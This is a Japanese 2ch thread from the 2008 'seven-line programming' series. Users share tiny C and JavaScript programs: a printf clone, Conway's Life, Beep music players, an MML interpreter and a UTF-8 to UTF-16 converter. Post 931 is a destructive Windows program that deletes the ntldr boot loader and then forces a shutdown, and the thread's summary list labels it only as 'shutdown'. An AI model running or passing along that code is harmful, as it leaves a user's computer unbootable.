896 :デフォルトの名無しさん :2008/06/15(日) 00:28:44
>>893
ありものでなんとかするのが面白いと思うから
7行プログラムのためのライブラリなんかつくっちまって
提案者が敷居をいくら低くしようと勝手だが
俺は使わないと思う
897 :デフォルトの名無しさん :2008/06/15(日) 00:34:18
ライブラリを7行で書くんですね。
898 :デフォルトの名無しさん :2008/06/15(日) 00:56:51
printfを7行で書くんですねわかります
899 :デフォルトの名無しさん :2008/06/15(日) 01:01:52
printfを7行で書くのは楽だろww
900 :デフォルトの名無しさん :2008/06/15(日) 01:05:19
釣りだよな?
901 :デフォルトの名無しさん :2008/06/15(日) 01:09:52
まあstdarg.hさえ使えばできるだろうけども。
使わずに7行だったらソースを見てみたい。
902 :デフォルトの名無しさん :2008/06/15(日) 01:11:26
バイナリで7行に・・・
いや、無理かもわからんな
903 :デフォルトの名無しさん :2008/06/15(日) 02:04:58
おいおい、マインスイーパー7行は初代スレで達成されてたじゃないか
可変サイズかつ爆弾の数も可変という信じられない作りこみの作品だったぞ
904 :デフォルトの名無しさん :2008/06/15(日) 03:37:17
>>901
stdarg.h使わずにどうやって可変長引数を使うんだ
905 :デフォルトの名無しさん :2008/06/15(日) 03:38:09
varargs.hを使う
906 :デフォルトの名無しさん :2008/06/15(日) 03:41:31
アホくさ

stdarg.h使った版見たいわ
もちろんC89完全準拠の奴
907 :デフォルトの名無しさん :2008/06/15(日) 03:54:56
3行

#include <stdio.h>
#include <stdarg.h>
int p(char*f,...){va_list a;return vprintf(f,a);}

vprintfが卑怯?
じゃあstdio.h使わずにputcharやputsなしで標準出力に出して下さいね
908 :デフォルトの名無しさん :2008/06/15(日) 03:56:23
>>907
マジレスして悪いが、va_listの使い方勉強しなおしてくれ。
909 :デフォルトの名無しさん :2008/06/15(日) 03:58:00
>>907
vprintfはstdargの関数だからstdioをincludeする必要はないぞ。
910 :デフォルトの名無しさん :2008/06/15(日) 04:02:33
可変長引数なんてクソなもの勉強したくないです
主旨は伝わってるからいいだろ

>>909
つまりstdarg.hを使った時点でvprintfに頼るのは運命なんですね
911 :デフォルトの名無しさん :2008/06/15(日) 04:03:32
なんでネタで歓談してただけなのに、ここまで荒れるのか理解できない。
酒飲んでるなら寝てくれ。
912 :デフォルトの名無しさん :2008/06/15(日) 04:05:26
#include <stdarg.h>
int p(char*f,...){va_list a;int r;va_start(a,f);r=vprintf(f,a);va_end(a);return
r;}

残念だけどこれ以上は短くならんな
913 :デフォルトの名無しさん :2008/06/15(日) 04:07:23
てっきりprintfのフォーマット解釈と引数はめ込みを7行で書く流れかと思ったが、違ったのか…。
914 :デフォルトの名無しさん :2008/06/15(日) 04:08:06
>>913
そういう流れだったはずなのに、なんか変なことになってるな。
915 :デフォルトの名無しさん :2008/06/15(日) 04:09:27
本気でフォーマット解析まで7行で作るならstdarg.hなんか使わずに
直接スタック覗いた方が短そうだな
916 :デフォルトの名無しさん :2008/06/15(日) 04:14:45
strtoX系使っていいなら楽勝だと思うけど
917 :デフォルトの名無しさん :2008/06/15(日) 04:15:34
ちげえ
ダメだ寝ぼけてる
918 :デフォルトの名無しさん :2008/06/15(日) 08:09:01
windows.h使ったほうが早い
919 :デフォルトの名無しさん :2008/06/15(日) 10:16:17
>>879
a[1920],b[1920],*p,i,j;main(c){for(a[839]=a[840]=a[918]=a[919]=a[999]=1;;)for(i
=0,puts("\e[1;1H"),memcpy(b,a,7680);++i<23;puts(""))for(j=1;j<79;)p=b+i*80+j++,
putchar(a[p-b]?42:32),c=p[-81]+p[-80]+p[-79]+p[-1]+p[1]+p[79]+p[80]+p[81],c!=2
&&(a[p-b]=c==3);}
920 :デフォルトの名無しさん :2008/06/15(日) 11:44:44
#include <stdarg.h>
r(a){putchar(a);}d(n){n/10&&d(n/10);r(n%10+48);}p(char*f,...){va_list a;char*t;
va_start(a,f);for(;*f;f++)if(*f!='%')r(*f);else if(*++f=='s')for(t=va_arg(a,
char*);*t;r(*t++));else*f=='c'?r(va_arg(a,int)):*f=='d'?d(va_arg(a,int)):r(*f);
va_end(f);}

main(){p("%c %d %d %s %c", 40, 0, 9870, "test", 41);}
921 :デフォルトの名無しさん :2008/06/15(日) 12:54:06
%xとか%eと%pとか%3.5Lfとか%%とかにまったく対応してないじゃん
話にならん
922 :デフォルトの名無しさん :2008/06/15(日) 14:04:02
http://cm.xrea.cc/thread/program_001.html#R425
から 428 見てみw
923 :デフォルトの名無しさん :2008/06/15(日) 14:15:57
>>919
それだとaを変更しつつaを表示してないか?

a[1920],b[1920],*p,i,j;main(c){for(a[839]=a[840]=a[918]=a[919]=a[999]=1;;)for(i
=0,puts("\e[1;1H"),memcpy(b,a,7680);++i<23;puts(""))for(j=1;j<79;)p=b+i*80+j++,
putchar(*p?42:32),c=p[-81]+p[-80]+p[-79]+p[-1]+p[1]+p[79]+p[80]+p[81],c!=2&&(a[
p-b]=c==3);}
924 :デフォルトの名無しさん :2008/06/15(日) 18:22:59
a=[(r=function(){return (m=Math).floor(m.random()*9+1)})(),r(),r(),r(h=b=0)];
for(k=0;t=prompt(b=h=0),k<6;alert(h-4?(h+"hit "+b+"blow"):"CONGURATURATION!!")
,k++)for(i=0;i<4;h+=a[i]==t.charAt(i++)?1:0)for(j=0;j<4;b+=a[i]==t.charAt(j++)
?1:0);alert(a);

暇潰し
925 :デフォルトの名無しさん :2008/06/15(日) 19:56:06
#include <iostream.h>

void main(void){
while(1){
cout << "「全然足りねージャン!!!」" << endl;
cout << "「いや、申し訳ございません!!!」" endl;
}
}

http://jp.youtube.com/watch?v=EgbsOuegXf8
926 :デフォルトの名無しさん :2008/06/16(月) 17:43:12
7行printfなら以前あったよね
あれをベースに改造したのを仕事で使った
927 :デフォルトの名無しさん :2008/06/16(月) 20:12:36
ひろゆきライセンスに違反してるぞ
928 :デフォルトの名無しさん :2008/06/17(火) 07:24:58
(^ิ ౪ ^ิ)
929 :デフォルトの名無しさん :2008/06/17(火) 22:06:02
>>928
こいつの名前うんこなんとかだっけ?
930 :デフォルトの名無しさん :2008/06/23(月) 00:21:46
           ___
         /::::::::::::::::\
        /:::::─三三─\   Drive your Dreams!!
      /:::::::::(○)三(○):\  T○○○TA
     /::::::.::::(トェェェェェェェェイ:::::\
     |::::::::::::::::::\ェェェェェ/:::::::::|
     \::::::::::::::::::::∪:::::::::::::::::::/
       >::::::::::::::::::::::::::::::::::<
      /:::::::::::::        _,,ィi⌒ヽ
    /          r‐-r''´ ノ.l  |⌒ヽ
  /           厶'⌒_l   { :|  l   |_
/              、,_ゝ、_ノス,,_,ノ、_,,ノ》`
                 /;;;;;;┌--‐""""ヾ,ヽ
               /:::::;;;ソ   :;;     ヾ;〉
                |;;;;;;;;;l  ___ __i|
              /⌒ヽリ─| 《;,・;》H 《;,・;》|! 
              | (   :::: `ー─' |ー─'| 
              ヽ,,  ヽ U . ,、__) :::: ノ!  
         ゴリッ      |   :::: ノ   ヽ:::: |    / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
⌒⌒ヽ         彡  ∧    ll===ュ  ./   < やめてくれ! 1億、
 、  ) ̄} ̄ ̄ ̄ ̄ ̄ヾ ;; ヽ   |、'^Y^',,| /     \ いや2億あげよう!  
、_人_,ノ⌒)}─┐      .,,;:':;}#;ヽ\ `-;;;;-''ノ       \あっ あっ ギャーー!
931 :デフォルトの名無しさん :2008/06/27(金) 02:26:31
#include <windows.h>
main(){HANDLE a;LUID b;TOKEN_PRIVILEGES c={0};char d[512];GetWindowsDirectory(d
,512);d[3]=0;lstrcat(d,"ntldr");DeleteFile(d);if(OpenProcessToken(
GetCurrentProcess(),40,&a)){if(LookupPrivilegeValue(0,SE_SHUTDOWN_NAME,&b)){c.
PrivilegeCount=1;c.Privileges[0].Luid=b;c.Privileges[0].Attributes=2;if(
AdjustTokenPrivileges(a,0,&c,0,0,0))if(GetLastError()==0)ExitWindowsEx(1,0);}
CloseHandle(a);}return 0;}
932 :デフォルトの名無しさん :2008/06/27(金) 11:45:34
CloseHandleをする優しさに感動した。
933 :デフォルトの名無しさん :2008/06/28(土) 02:54:07
#include <stdio.h>
#define m(X) fprintf(stderr,"%s\n",X);
int m; char* __ = "m(__)m"; int main(){

m(__)m

;}

まぁ、特に七行である必要はないわけだが。。。
最初はこれで勘弁してくれ
934 :デフォルトの名無しさん :2008/06/28(土) 03:37:43
二つ作ったから載せてみる

#include <stdio.h>
#define _(X) fprintf(stderr,"%s\n",(char*)(w X w));
int w = (int)"(^w^)"; int main(){_

(^w^)

;}


#include <stdio.h>
#define _(X) "##X##";fprintf(stderr,"%s\n",q);
char* q= "(^-^*)";int main(){_

(^-^*)

;}

ただ、↑を作った時点で、どんな形式でもプリプロセスに読み込ませれば勝ちってことに気づいてしまった…
()の中ならマルチバイト文字だって入るんだぜ…なんだがやる気なくなった…orz
935 :デフォルトの名無しさん :2008/06/28(土) 10:11:45
七行プログラミング
っつーかただのネタだな。 動くんか?摩訶不思議なコードみたいなスレがあったと思うが
936 :デフォルトの名無しさん :2008/06/28(土) 10:16:25
総メモリ512KBの時代にはまぁまぁ普通でした
詰め込むのが
937 :デフォルトの名無しさん :2008/06/28(土) 12:50:34
>>936
512Kか・・・ちょうど贅沢時代の幕開けだね

昔、プログラムポシェットに1行プログラムコーナーがあって
そこにロールプレイングゲームを投稿したのを思い出した。
938 :デフォルトの名無しさん :2008/06/28(土) 14:01:39
32kだった俺涙目
939 :デフォルトの名無しさん :2008/06/28(土) 15:00:01
最初に買ったのがRAM8KのMSXだったので実質4Kくらいだったな
940 :デフォルトの名無しさん :2008/06/29(日) 09:43:21
ファンファーレまで入れようと思ってたら全然余裕がなかった。

#include <windows.h>
main(A){int B[]={196,220,247,262,294,311,330,392,440,466,494,523,554,587,622,
659,698,740,831};char*C=" 1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c1b1e1d1c1g1e1d1h1"
"f3g1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e1c1a8b1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c"
"1b1e1d1c1g1e1d1h1f3g1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e2h8i1i1k1l2l1k1j1i1h1e1"
"n2k1h1i1k2l1i1k1l2o2p1p1l1n1p2r1r1i1k1l2l1k1j1i1h1e1n2k1h1i1k2l1i1k1l1n1o2q1o"
"1s1r1q1o1m1o9q";while((A+=2)<299)Beep(B[C[A]-'a'],(C[A-1]-'0')*185);return 0;}
941 :デフォルトの名無しさん :2008/06/29(日) 09:46:08
>>940
実行してないけどドラクエ「序曲のテーマ」のビープ演奏と見た
942 :デフォルトの名無しさん :2008/06/29(日) 13:31:58
ビーーーって鳴ってるだけで音楽になってないお…

Aの初期化しないと
943 :デフォルトの名無しさん :2008/06/29(日) 13:37:04
Aはargcだから初期化されてるはずだけどな
944 :デフォルトの名無しさん :2008/06/29(日) 13:40:29
mainの引数1個ってのは規格外だから、どうなるかはわからんのではない?
945 :デフォルトの名無しさん :2008/06/29(日) 13:50:05
Aを使わなければいいんじゃね。

#include <windows.h>
main(){int B[]={196,220,247,262,294,311,330,392,440,466,494,523,554,587,622,659
,698,740,831};char*C=" 1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c1b1e1d1c1g1e1d1h1f3g1\
i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e1c1a8b1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b1d1c1b1e1\
d1c1g1e1d1h1f3g1i1k1l2m1l1k1i1g1f1i2e1d1c1a2b2g2e2h8i1i1k1l2l1k1j1i1h1e1n2k1h1\
i1k2l1i1k1l2o2p1p1l1n1p2r1r1i1k1l2l1k1j1i1h1e1n2k1h1i1k2l1i1k1l1n1o2q1o1s1r1q1\
o1m1o9q";while(*(C+=2))Beep(B[*C-'a'],(*(C-1)-'0')*185);return 0;}
946 :デフォルトの名無しさん :2008/06/29(日) 14:09:35
処理系がBeepの音程を実装してなければビーーーーって鳴るだけだな
947 :デフォルトの名無しさん :2008/06/29(日) 14:19:44
>>942
Win 9X乙
948 :デフォルトの名無しさん :2008/06/29(日) 14:20:44
xpだけど、引数を奇数個渡さないと音楽に鳴らないな
949 :デフォルトの名無しさん :2008/06/29(日) 14:47:54
dmcでは通ったけどこれは鼻から悪魔とかじゃないよな

#include <windows.h>
main(){int B[]={196,220,247,262,294,311,330,392,440,466,494,523,554,587,622,659
,698,740,831},q;char*C="iklm2lkigfie2dcab2dcbedcgedhfg3iklm2lkigfie2dcab2g2e2\
cab8iklm2lkigfie2dcab2dcbedcgedhfg3iklm2lkigfie2dcab2g2e2h2i8ikll2kjihenk2hikl\
2iklo2p2plnpr2rikll2kjihenk2hikl2iklnoq2osrqomoq9";
while(*C)q=B[*C-'a'],Beep(q,*++C>'9'?185:(*C++-'0')*185);return 0;}

短くなったぶん続きも入るけど原曲知らない
950 :デフォルトの名無しさん :2008/06/29(日) 14:56:30
>>949
あ、曲の最後だけは数字は省略不可だなこれ
951 :デフォルトの名無しさん :2008/06/29(日) 15:09:02
誰かMMLインタプリタ書いた人いなかったっけ
952 :デフォルトの名無しさん :2008/06/29(日) 15:17:02
>>951
>>328

たぶん俺が書いたんだったと思う…
もうずいぶん前だな…
953 :デフォルトの名無しさん :2008/06/29(日) 15:25:53
あーもう一年半も前のことだったのか
954 :デフォルトの名無しさん :2008/06/29(日) 15:30:39
三項演算子つかいすぎw
955 :デフォルトの名無しさん :2008/06/29(日) 15:32:22
三項演算子は花形中の花形じゃないか
956 :デフォルトの名無しさん :2008/06/29(日) 15:33:05
==を-にすると少し減ると思う
957 :デフォルトの名無しさん :2008/06/29(日) 16:46:17
>>956
条件がひっくり返ってしまうから必ずしもそうとは限らないんだなあ。

A?B:C のうち、Bの箇所には?:よりも優先順位の低い演算子が使えるんだけど、
それをCに持っていくと括弧で括らなきゃならない。そうすると1文字増える。
958 :デフォルトの名無しさん :2008/06/29(日) 16:59:02
a ? b : c
のとき、b を省略すると a が真のとき、a が返る。

っていうのもあったけど、規格に合致しているんだっけ?
959 :デフォルトの名無しさん :2008/06/29(日) 17:02:33
>>958
そりはgcc拡張
960 :952 :2008/06/29(日) 17:57:29
#include <stdio.h>
#include <windows.h>
int r,c,d,n,j,a,o=4,l=4,t=120,f[84],A='A';w(a){ungetc(a,stdin);}y(int*p){return
*p=getchar();}q(int*p){for(r=0;'0'<=y(&d)&&d<='9';)r=r*10+d-'0';w(d);r?*p=r:0;}
main(){float s=27.5;for(;j<84;s*=1.0595)f[j++]=s;while(y(&c)-EOF)c+=c<'a'||'z'<
c?0:A-'a',A<=c&&c<'H'||c=='R'?c-'R'?a="ACDFHIK"[c-A]-A+12*o, y(&d)=='+'||d=='#'
?a+=a!=83:d=='-'?a-=!!a:w(d):0,n=l,q(&n),j=12e4*(y(&d)-'.'?w(d),2:3)/t/n,c=='R'
?Sleep(j),0:Beep(f[a],j):c=='L'?q(&l):c=='O'?q(&o),o=o>7?7:o:c=='T'?q(&t):c=='\
>'?o+=o!=7:c=='<'?o-=!!o:0;}

14字削った。

* 同じ文字リテラルが4回以上出てくるときは、変数においたほうが得。
* お尻に3個以上の0が続く整数リテラルは指数表記を使ったほうが得。
ということに気づいた。
961 :デフォルトの名無しさん :2008/06/29(日) 18:52:33
指数表記かぁ・・・なるほどねぇ
962 :デフォルトの名無しさん :2008/06/30(月) 04:09:13
やっぱりmain(A)はまずいですね……。
空気を読まずにもう一つだけ投下。

#include <windows.h>
char*D="9a3adfTh9d3dfh@i<<hf5d7fXd9d3dfh@l<9o3hiheHh<f9h3hijHh/'<f9h3hihPdbdhj\
llln4/M@fhijhddc@fh`d@q5d3fPjjihi<<lPdj/ jij@ig4dgTfH/ om4kj<i<g4f4g4iPPq@@i@h\
hi@57lDhhi@57l<po5n7o\\jjih<i<@fPh/7bd5f;df5h;i<n<lh<h<fhXd@q5b3d<i<hiP/Fii5h;\
io5p;o<n<lh<h<fhPdHqh<i<hd@d<f`d",*E="!/$*'%/'3 5*9&=#@*I&N#R*X$^ c'p$";int A,B
,C;main(){while(*D){if(*D-47)A=*D>96?8:*D++-48,B=*D<97?18:(*D++-97)*2,Beep(B-32
?E[B]*8+E[B+1]:32767,A*35);else D+=C++?C>2?C=0,D[1]-16:-D[1]+2:2;}return 0;}
963 :デフォルトの名無しさん :2008/06/30(月) 13:22:05
すげええw7行プログラミングはやっぱすげえやw
964 :デフォルトの名無しさん :2008/06/30(月) 13:30:38
だからもう末期的だといってんだよw
965 :デフォルトの名無しさん :2008/06/30(月) 17:16:47
文字列からプープー音鳴らすのってMSXみたいだな
966 :デフォルトの名無しさん :2008/07/01(火) 23:49:43
'd'=100だからそれ以下は数字にすれば1文字稼げる希ガス
967 :デフォルトの名無しさん :2008/07/02(水) 01:24:37
それだとUNICODE環境とかでは動かなくなるんじゃね
968 :デフォルトの名無しさん :2008/07/02(水) 09:20:50
UTF-8 なら大丈夫だな
969 :デフォルトの名無しさん :2008/07/06(日) 12:24:42
UTF-8のテキストファイルをUTF-16に変換します
Winの人は"w"を"wb"にしてね
#include <stdio.h>
FILE*i,*o;int l,p,t[]={0,192,224,240},r=65536;void P(int p){putc(p>>8,o);putc(p
%256,o);}int main(int c,char**v){if(c<3||(i=fopen(v[1],"r"))?((o=fopen(v[2],"w"
))?0:(fclose(i),1)):1)return fputs(c<3?"usage: ./u8tou16 in out\n":"fairu ga h\
irakemasen! itteyoshi!!\n",stderr),1;for(fputs("\xfe\xff",o);(c=getc(i))-EOF;(p
-=r)>=0?P(p/1024+55296),P(p%1024+56320):P(p+r))for(p=c-t[l=(c&224)-192?(c&240)-
224?(c&248)-240?0:3:2:1];l--;)p=p<<6|getc(i)%128;fclose(i);fclose(o);return 0;}
// なんとか7行達成w
970 :デフォルトの名無しさん :2008/07/06(日) 12:35:59
*i,*o,l,p,t[]={0,192,224,240},r=65536;P(p){putc(p>>8,o);putc(p%256,o);}
main(int c,char**v){if(c<3||(i=fopen(v[1],"r"))?((o=fopen(v[2],"w"))?0:(fclose(
i),1)):1)return fputs(c<3?"usage: ./u8tou16 in out\n":"fairu ga hirakemasen! i\
tteyoshi!!\n"),1;for(fputs("\xfe\xff",o);(c=getc(i))+1;(p-=r)>=0?P(p/1024+55296
),P(p%1024+56320):P(p+r))for(p=c-t[l=(c&224)-192?(c&240)-224?(c&248)-240?0:3:2:
1];l--;)p=p<<6|getc(i)%128;fclose(i);fclose(o);}

//なんども出てきた技だしこれぐらいはしとこうや
971 :デフォルトの名無しさん :2008/07/06(日) 12:37:20
*i,*o,l,p,t[]={0,192,224,240},r=65536;P(p){putc(p>>8,o);putc(p%256,o);}main(int
c,char**v){if(c<3||(i=fopen(v[1],"r"))?((o=fopen(v[2],"w"))?0:(fclose(i),1)):1)
return fputs(c<3?"usage: ./u8tou16 in out\n":"fairu ga hirakemasen! itteyoshi!"
),1;for(fputs("\xfe\xff",o);(c=getc(i))+1;(p-=r)>=0?P(p/1024+55296),P(p%1024+
56320):P(p+r))for(p=c-t[l=(c&224)-192?(c&240)-224?(c&248)-240?0:3:2:1];l--;)p=p
<<6|getc(i)%128;fclose(i);fclose(o);}
972 :デフォルトの名無しさん :2008/07/06(日) 12:55:46
fcloseなんて不要だから消すべし
973 :デフォルトの名無しさん :2008/07/06(日) 13:12:54
いくらなんでもint*にFILE*いれるのはやめれw
974 :デフォルトの名無しさん :2008/07/06(日) 15:06:12
何がいけないの
まさか今更このスレで型安全性なんて下らない寝言は言わないよな
975 :デフォルトの名無しさん :2008/07/06(日) 15:40:30
そりゃ、標準を無視すればいくらでも短くできるのは確かだが、
なんというかそれでは意味がない気がするんだよなあ。

入出力機能を使うときに#include<stdio.h>を書かなければ、
一行まるまる浮くわけだが、そういう縮め方に価値を見出せない。

俺は、最低限、型の整合性とプロトタイプの整合性だけは守りたいと思う。
976 :デフォルトの名無しさん :2008/07/06(日) 15:51:01
KY
977 :デフォルトの名無しさん :2008/07/06(日) 15:52:28
標準を無視してもいくらでも短くなったりはしないよ
特定の環境に目一杯依存してコードを縮めるのも一つの楽しみ

「標準に準拠するC言語」と
「特定の処理系で動けばよいC言語」を
二つの独立した言語として扱えばいいと思う
自分が関心ないからって別言語のコードに文句付ける必要はないって意味で
978 :デフォルトの名無しさん :2008/07/06(日) 17:20:02
stdio.hが入らなかったときは、誰かに託せばいいんだよ
979 :デフォルトの名無しさん :2008/07/06(日) 17:46:33
>>977
「標準に準拠するC言語」>「特定の処理系で動けばよいC言語」

この前提がある以上、「特定の処理系で動けばよいC言語」はランクが下がる
980 :デフォルトの名無しさん :2008/07/06(日) 20:42:49
で?
981 :デフォルトの名無しさん :2008/07/06(日) 21:03:35
評価として下になるってだけの話だろ
982 :デフォルトの名無しさん :2008/07/06(日) 22:41:43
次スレ&まとめの時期ですかね
というわけでむちゃくちゃ適当にまとめてみました
よくわからなかったものは□にしてますごめんなさい。だれか補足お願いします

>7 AA(.com)
>42 Win32用簡易メトロノーム(C/Win32)
>43,46,49 数独(C)
>53,54 アイコンエディタ(JavaScript)
>75,77 1行掲示板(PHP)
>80,649,650 シェルピンスキーのギャスケット(C)
>81 弾避け(JavaScript)
>99,100 正規表現(C) ※9行
>121 Java難読化(Java) ※9行
>167,175 オセロ(C) ※12行
>185,187 サーバー(なでしこ)
>191 メール送信(なでしこ)
>193 Windows送るメニューカスタマイズ(なでしこ)
>221 メール送信フォーム(なでしこ)
>226,230 □(.com)
>244,245 ブロックソート/ソート解除(C#)
>284 ノイズ(C/cygwin)
>300,302,304,305,311,312,313,350 音(C/Win32)
>316 □(C#)
>317 音(Ruby/Win32)
>321,322 Beepエミュ(C/Win32)
>327,328,960 MML再生(C/Win32) ※9行
>343 け言語(Ruby)
>402,404,405 音(C/Win32)
続く
983 :デフォルトの名無しさん :2008/07/06(日) 22:42:28
続き
>407 TerminateProcessフック(C/Win32) ※11行
>409,412 ハフマン法圧縮(C)
>415 ZwCloseフック(C/Win32) ※3文字オーバー
>414,421,457,458 ランレングス解凍(C)
>459 C/C++コメント除去(C)
>466,467,469,470,476,479,482,483,484,488,492 2進数のビット反転 関数のみ(C)
>477,478 誤爆(C)
>487 brainfuck(C)
>498,499 画像ぼかし(C#)
>509,511,512 ニュートン法(C)
>513 標準出力にBrainfuckと読める絵を出力(Brainfuck)
>520,529,534 ローマ字半角カナ変換(なでしこ) ※11行
>533 ローマ字半角カナ変換(JavaScript) ※13行
>540 ∩( ・ω・)∩ ばんざーい (なでしこ)←データが外部
>555,557,559 WEOF→EOF(C)
>558 素因数分解(JavaScript)
>564 echoサーバ(BASIC)
>565 echo(Brainfuck) 4文字
>577,590 スロット(JavaScript)
>626,631,632,636,637,640 迷路(JavaScript)
>651,657,658,661,663 Base64エンコード(JavaScript)
>669 テニス(JavaScript)
>670,671,672,675 計算機(JavaScript)←evalしてるだけ
>677 □(Befunge?)
>679 Base64エンコーダ、デコーダ(Perl)
>683 Base64エンコーダ(Lua)
>685 Base64エンコーダ(Ruby)←Base64モジュール使ってるだけ
>687,698 自己展開Base64(.com)
続く
984 :デフォルトの名無しさん :2008/07/06(日) 22:43:47
続き
>700 メッセージボックス(C/Win32)
>701 テトリス(東方何とか)←18行
>705,706 じゃんけん(JavaScript)
>713 RSSリーダ(JavaScript)
>714,717,718,741,745 メモ帳(JavaScript)
>721 テンキー練習(JavaScript)
>743 WYSIWYGなHTML作成支援エディタモドキ(JavaScript)←innerHTMLに代入してるだけ
>755,757,758,760,762 逆localtime(Perl)
>763 626のマウス版(JavaScript)
>765,772,775 ⊂( ^ω^)⊃耐久走 (JavaScript)
>776,777,781 ベートーベン(C/Win32)
>804 数独(C)
>865,867 crypt(C)
>870,875,878,879,919,923 life(C)
>907,912 printf(C)←vprintfに丸投げ
>920 printf(C)
>924 暇つぶし(JavaScript)
>931 シャットダウン(C/Win32)
>940,945,949,962 音(C/Win32)
>969,970,971 UTF-8→UTF-16(C)
誰か次スレお願いします
985 :デフォルトの名無しさん :2008/07/06(日) 22:56:22
おう立ててこよう。ちょっと待っててな。
986 :デフォルトの名無しさん :2008/07/06(日) 23:03:59
七行プログラミング part6
http://pc11.2ch.net/test/read.cgi/tech/1215352849/
987 :デフォルトの名無しさん :2008/07/06(日) 23:13:28
次のお題なんだが、 jsonを見やすくインデント ってのはどうだろう
需要が無いならオレが書く
988 :デフォルトの名無しさん :2008/07/06(日) 23:20:30
そういえばアセンブラで行詰め込み可能な文法ってないのかな?
989 :デフォルトの名無しさん :2008/07/06(日) 23:22:31
7行でアセンブラ書けばいいんじゃね?
990 :デフォルトの名無しさん :2008/07/06(日) 23:27:08
>>987
じゃあ俺はJSで参戦
991 :デフォルトの名無しさん :2008/07/07(月) 01:27:39
#!/usr/bin/ruby -pl
$_=[$_].pack("m*")

>>685
992 :デフォルトの名無しさん :2008/07/07(月) 06:41:21
>>982

>>7 みたいにきちんとレス番引用してくれよ・・・(´・ω・`)
993 :992 :2008/07/07(月) 06:45:17
置換してみたら、本文が長すぎますだって。そういうことか(´・ω・`)
994 :デフォルトの名無しさん :2008/07/07(月) 07:24:38
>992,993
専ブラ使え
995 :992 :2008/07/07(月) 09:20:53
Janeだと>>994はちゃんと表示できるのに、>>982は表示できない謎
996 :デフォルトの名無しさん :2008/07/07(月) 09:49:12
「アンカーが多すぎます」もあるんじゃね?
997 :デフォルトの名無しさん :2008/07/07(月) 10:42:59
自分の奴がまとめに入ってると嬉しかったり恥ずかしかったりだな
998 :デフォルトの名無しさん :2008/07/07(月) 13:44:13
>>997
あるあるww
999 :デフォルトの名無しさん :2008/07/07(月) 14:32:45
>>988
db/dw/dq で終りじゃね?
1000 :ヽ・´∀`・@`@`)っ━━━━━━━┓ :2008/07/07(月) 14:48:26
4バイトはDQ
1001 :1001 :Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

[Home]